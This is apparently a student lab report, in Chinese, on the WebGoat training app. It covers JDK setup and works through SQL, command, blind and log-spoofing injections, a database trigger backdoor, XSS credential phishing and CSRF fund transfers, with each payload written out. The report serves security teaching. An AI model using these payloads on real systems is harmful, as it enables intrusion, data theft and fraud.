2018-2019-2 (内附jdk与webgoat完整安装教程)《网络对抗技术》Exp9 Web安全基础 Week13 20165233
Exp9 Web安全基础
目录
-
一、基础问题
-
二、实验步骤
-
四、实验总结
一、基础问题
1、SQL注入攻击原理,如何防御。
-
原理:SQL注入指的是发生在web应用对后台数据库查询语句处理存在的安全漏洞。
-
简单地说,就是在输入字符串中嵌入SQL指令,在设计程序中忽略了对特殊字符串的检查,这些嵌入的指令便会被误认为正常的SQL指令,在数据库中执行,因此可以对后台数据库进行查看等工作,甚至破坏后台数据库造成严重后果。
-
防御:增加对于特殊字符串的检查,即检查非法字符串的输入;使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤等。
2、XSS攻击的原理,如何防御。
-
原理:XSS即跨站脚本攻击,它允许恶意使用者将程序代码注入到网页上,其他使用者在浏览网页时就会受到不同程度的影响。这类攻击一般包含了HTML语言以及目标主机使用的脚本语言。
-
防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出等。
3、CSRF攻击原理,如何防御。
-
原理:CSRF即跨站伪造请求,它属于跨站脚本漏洞的一种衍生。其基本原理是:攻击者利用XSS的注入方式注入一段脚本,当受害者点击浏览器运行该脚本时,脚本伪造受害者发送了一个合法请求。
-
防御:通过referer、token或者验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;避免全站通用的cookie,严格设置cookie的域等。
二、实验内容
实验前准备:jdk与webgoat的安装
1、由于我的kali中没有安装jdk,所以首先去oracle官网进行下载。(注意:这里我下载的jdk版本为1.8,可与7.0.1的webgoat匹配。版本不匹配后续就会报错!!!并且kali中的openjdk并不是所对应需要的jdk!!!)
2、按照我在网上找到的教程,先进行jdk的安装与配置。
3、下载webgoat-container-7.0.1-war-exec.jar。
4、运行WebGoatjava -jar webgoat-container-7.0.1-war-exec.jar
。
5、当看到 Starting ProtocolHandler ["http-bio-8080"]
这一条消息之后,即可开始后续的实验。
6、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,下方已经给出两组默认的用户名和密码:
7、登陆成功后,可在网页左侧挑选想要进行的课程。
实验点一:SQL
(一)命令注入(Command Injection)
-
原理:在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。
-
目标:能够在目标主机上执行任何系统命令
-
步骤:
- 右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加
"& netstat -an & ipconfig"
:
- 右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加
- 点击
View
,攻击成功:
- 与正常的结果相对比,可知:遭到Command Injection攻击的网页在返回正常的结果之外还被输入了shell指令而执行了
netstat -an
命令并返回了结果。
(二)数字型注入(Numeric SQL Injection)
-
原理:在station字段中注入特征字符,能组合成新的SQL语句。
SELECT * FROM weather_data WHERE station = [station]
-
目标:下面的表单允许用户查看天气数据。请通过注入 SQL 字符串的方式查看所有的天气数据。
-
步骤:
- 右键点击复选框,选择inspect Element审查网页元素对源代码
value="101"
进行修改,在城市编号101后面添加or 1=1
:
- 右键点击复选框,选择inspect Element审查网页元素对源代码
- 点击
Go!
,攻击成功,显示所有城市的天气情况:
(三)日志欺骗(Log Spoofing)
-
原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
-
目标:灰色区域代表在Web服务器的日志中的记录的内容。我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”。升级我们的攻击,例如:在日志文件中插入脚本。
-
步骤:
- 本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名:
webgoat Login Succeeded for username admin
,这样用户名后面的信息会在同一行显示,而不是在新的一行:
- 本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名:
- 这样咱们可以往该应用中注入回车(0D%)和换行符(%0A)。在 username中填入
webgoat%0d%0aLogin Succeeded for username: admin
,这样就完成了该课程:
(四)LAB: SQL Injection 之 Stage 1: 字符串型注入(Stage 1: String SQL Injection)
-
目标:使用 SQL 注入绕过认证
-
步骤:
- 由于网页的html代码中,给password的框限定了最大长度为8,我将其修改至20。否则要注入的永真式长度大于最大长度将会注入失败。
-
以用户Neville登录,还是以永真式的形式输入密码
Smith' or 1=1 --
: -
攻击成功,得到所有人员列表:
(五)LAB: SQL Injection 之 Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
-
目标:执行SQL注入绕过认证; 该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户, 浏览其
BOSS
的账户信息。 -
步骤:
- 首先使用用户名
Larry
和密码larry
登录,浏览员工信息的按钮是ViewProfile
:
- 首先使用用户名
- 在多行文本框中被选中的员工
Larry Stooge(employee)
上右键审查网页元素,可以看到此处是用员工ID作为索引来传送数据的,感觉这里的数据库应该是以员工ID作为索引,返回的是每次查询到的第一条数据。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个咱们应该在员工ID:101
后面给他加上这么一些东西进行SQL注入排序,即:
101 or 1=1 order by salary desc
其中desc
表示使用降序排列。
- 再次点击
ViewProfile
,即可获取老板的信息。
- 点击还可以修改boss的信息。
(六)字符串注入(String SQL Injection)
-
原理:基于以下查询语句构造自己的SQL注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
-
目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过SQL注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。
-
步骤:
- 正常查询结果应该只有员工Smith的信息:
- 通过分析可知:将
''
提前闭合,插入永真式然后注释掉后面的内容就可以了,所以输入Smith' or 1=1 --
即可完成本课程内容。注入成功后,便可看到所有员工的信息:
(七)数据库后门(Database Backdoors)
-
原理:数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。举个例子:攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email地址设置为攻击者的地址。
-
目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于WebGoat使用的是MySQL数据库,不支持触发器,所以该课程不会真正完成。
我们的Login ID是101.
-
步骤:
- 输入
101
,得到该用户的信息:
- 输入
- 输入注入语句
101; update employee set salary=10000
(由于要执行两个语句,中间需要用分号分隔):
- 使用以下查询条件,添加触发器:
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
,便可看到攻击成功:
(八)数字型盲注入(Blind Numeric SQL Injection)
-
原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
-
目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
我们的目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int型。输入找到的数值并提交,通过本课程。
-
步骤:
-
本节课程中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:
SELECT * FROM user_data WHERE userid=accountNumber;
-
-
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。例如下面两个查询方式:
101 AND 1=1
101 AND 1=2
- 在第一条语句中,两个条件都成立,所以页面返回帐号有效。
- 而第二条则返回帐号无效。现在可以针对查询语句的后半部分构造复杂语句。
- 下面的语句可以告诉我们PIN数值是否大于10000:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 页面提示帐号无效,说明PIN<=10000;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364。
(九)字符串型盲注入(Blind String SQL Injection)
-
原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
-
目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
我们的目标是找到pins表中cc_number字段值为4321432143214321 的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本课程。
-
步骤:
-
本节课程非常类似与上一节。最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节,如下:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
-
-
经过多次测试(比较 0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符:
`101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );`
-
最终,判断出pin字段的值为:
Jill
。提交该值,通过本节课程:
实验点二:XSS
(一)使用 XSS 钓鱼(Phishing with XSS)
-
原理:如果有权限操作页面源代码,那么HTML文档的内容是可以被篡改的。
-
目标:创建一个form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
。 -
步骤:
-
利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,我们需要结合起来使用:
-
受害人填写一个表格;
-
以读取脚本的形式,将收集到的信息发送给攻击者。
-
-
一个带用户名和密码输入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
-
-
搜索这段代码,就能看到页面中增加了一个表单:
-
下面这段脚本语言的代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
-
将以上两段代码合并,搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们:
(二)存储型XSS攻击(Stored XSS Attacks)
-
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
-
目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
-
步骤:在title中任意输入字符,留言板中输入
<script>alert("Ha Ha Ha");</script>
,即可攻击成功。
(三)反射型XSS攻击(Reflected XSS Attacks)
-
目标:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
-
步骤:输入代码
<script>alert("You're an idiot!");</script>
,点击purse
的同时页面就给出了反馈:
实验点三:CSRF
绕过 CSRF 确认(CSRF Prompt By‐Pass)
-
原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
-
目标:与CSRF课程类似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为
attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框。 -
步骤:
- 查看页面右侧Parameters中的src和menu值分别为280和900:
-
并在title框中输入任意内容,message框中输入代码:
``` <iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe> ```
-
在Message List中生成以Title命名的链接,点击进入后,攻击成功
三、实验中遇到的问题及解决方案
安装webgoat时碰到登录成功后却无法显示教程的问题?
解决方法:原因是jdk与webgoat版本不匹配,或者是jdk未安装(注意:openjdk不是这次实验中所要用的jdk,二者不一样!!!),具体教程,见我实验前准备那里的描述。
四、实验总结
- 本次实验整体还比较顺利,感觉这次的这种实验形式我能学到更多,在webgoat网页左侧的各种课程中,可以根据它给的solution来具体学习原理与方法,并根据它所写的步骤来进行实验,还有hints(提示),并且在你并未注入成功时,有红字去提示原因,成功也会有提示。
- 学到很多种类的注入,比起当初只知道那种普通的永真式的注入语句,现在掌握的方法更加多样。